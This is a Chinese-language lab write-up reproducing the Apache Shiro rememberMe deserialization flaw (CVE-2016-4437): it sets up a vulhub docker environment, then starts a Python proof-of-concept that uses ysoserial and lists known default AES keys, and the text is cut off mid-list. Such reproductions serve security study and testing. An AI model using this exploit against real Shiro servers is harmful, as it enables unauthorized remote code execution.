简介
Apache Shiro是一套用于执行认证、授权、加密和会话管理的Java安全框架。
影响版本
Apache Shiro < 1.2.5
环境搭建
这里使用docker来搭建
环境地址
https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
进入目录并启动Apache Shiro 1.2.4的Web服务
cd vulhub-master/shiro/CVE-2016-4437/
docker-compose up -d
访问http://your-ip:8080即可看到页面
漏洞复现
Poc
#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES
JAR_FILE = 'ysoserial.jar'
CipherKeys = [
"4AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"2AvVhdsgUs0FSA3SDFAdag==",
"6ZmI6I2j5Y+R5aSn5ZOlAA==",
"wGiHplamyXlVB11UXWol8g==",
"cmVtZW1iZXJNZQAAAAAAAA==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"ZnJlc2h6Y24xMjM0NTY3OA==",
"L7RioUULEFhRyxM7a2R/Yg==",
"RVZBTk5JR0hUTFlfV0FPVQ==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"WkhBTkdYSUFPSEVJX